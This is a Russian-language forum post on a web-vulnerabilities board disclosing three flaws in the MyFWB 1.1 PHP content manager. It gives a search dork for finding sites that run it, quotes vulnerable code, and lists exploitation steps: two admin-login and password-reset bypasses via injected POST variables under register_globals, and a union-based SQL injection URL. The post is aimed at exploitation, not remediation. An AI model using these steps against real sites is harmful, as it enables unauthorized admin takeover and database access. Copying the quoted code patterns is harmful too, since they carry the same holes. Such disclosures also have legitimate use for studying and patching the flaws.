уязвимости MyFWB 1.1

Discussion in 'Веб-уязвимости' started by Iceangel_, 16 Apr 2009.

  1. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Уязвимости MyFWB 1.1

    download: http://myfwb.co.cc/downloads/myfwb_1.1_FS_edition.zip

    dork: "Powered by MyFWB 1.1"


    1) [bypass] (требования: register_globals=on)

    /includes/core_admin_login.php
    уязвимый код:
    PHP:
    elseif($_GET["action"] == log_in_now)
    {
    $admin_user secure("$_POST[admin_user]");
    $admin_pass_1 secure("$_POST[admin_pass]");
    $admin_pass_2 md5("$admin_pass_1");
    $admin_pass base64_encode("$admin_pass_2");
    $query_login mysql_query("select * from user where userid=1");
    $data_user_info mysql_fetch_array($query_login);
    $data_user $data_user_info['username'];
    $data_password $data_user_info['password'];

    if(
    $data_user == $admin_user)
    {
    $sec1 1;        
    }else
    {
    echo 
    "<b>Sorry,...</b>";
    echo 
    $data_pass;
    }
    if(
    $admin_pass == $data_password)
    {
    $sec2 1;
    }else
    {
    echo 
    "<br><b>Sorry, ...";
    }
    $security $sec1 $sec2;
    if(
    $security == 2)                //забавная проверка, передаем в переменной $sec1 или $sec2 значение 2, и вуаля, проверка пройдена
    {
    $_SESSION["admin_permission"] = "Yes";
    эксплуатирование:
    /admincp/?action=log_in_now, ставим заведомо ложные логин и пасс и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/

    2) [admin pass update] (требования: register_globals=on)

    /includes/core_admin_login.php
    уязвимый код:
    PHP:
    elseif($_GET["action"] == "forgot_password_now")
    {
    $admin_user secure("$_POST[admin_user]");
    $admin_secret secure("$_POST[admin_secret]");
    $query_info mysql_query("select username, secret from user where userid=1");
    $query_info_back mysql_fetch_array($query_info);
    $user_name $query_info_back['username'];
    $user_secret $query_info_back['secret'];
    if(
    $admin_user == $user_name)
    {
    $sec1 1;
    }else
    {
    echo 
    "<b>Sorry, /--/";
    }
    if(
    $admin_secret == $user_secret)
    {
    $sec2 1;
    }else
    {
    echo 
    "<br><b>Sorry, /--/";
    }
    $security $sec1 $sec2
    if(
    $security == 2)
    {
    $new_pass session_id();

    $new_pass1 md5("$new_pass");
    $new_pass_final base64_encode("$new_pass1");

    $query_new_pass mysql_query("update user set password = '$new_pass_final' where userid=1");

    echo 
    "/--/ $new_pass /--/";  //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно   пройти в админку и поставить более короткий
    эксплуатирование:
    ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом



    3) [SQL-injection] (требования: register_globals=on, доступ в админ панель)

    \includes\editor_edit.php
    уязвимый код:
    PHP:
    if($_GET["action"] == "edit" && $_GET["pageid"] && $_GET["securekey"] == $sid)
    {
    $page_to_edit $_GET["pageid"];

    $connect mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB");
    mysql_select_db("$db_name") or die("can't select the DB");

    $query_getting_page mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit");
    $page_edit mysql_fetch_array($query_getting_page);
    эксплуатирование:
    Code:
    /admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=[b]<значение переменной securekey из урла>[/b]
     
    1 person likes this.